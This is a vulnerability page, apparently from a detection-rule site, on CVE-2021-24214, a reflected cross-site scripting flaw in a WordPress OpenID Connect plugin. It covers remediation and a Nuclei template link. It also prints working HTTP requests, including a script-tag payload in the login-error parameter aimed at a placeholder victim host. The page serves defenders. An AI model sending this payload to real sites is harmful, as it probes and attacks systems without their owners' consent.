🔙 목록으로 돌아가기

CVE-2021-24214: WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting

TitleWordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting
Authortess
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpdate to the latest version of the WordPress OpenID Connect Generic Client plugin (3.8.2) to fix this vulnerability.
CVSS Score6.1
EPSS Score0.04044
CVE IDCVE-2021-24214
CWE IDCWE-79
Tags cve2021 cve wpscan wordpress xss wp-plugin wp openid daggerhartlab vuln

🔍 Vulnerability Description

WordPress OpenID Connect Generic Client plugin 3.8.0 and 3.8.1 contains a cross-site scripting vulnerability. It does not sanitize the login error when output back in the login form, thereby not requiring authentication, which can be exploited with the default configuration.

🌐 HTTP Request

GET /wp-content/plugins/daggerhart-openid-connect-generic/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.5
Connection: close
Accept-Encoding: gzip
GET /wp-login.php?login-error=<script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24214.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24214.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A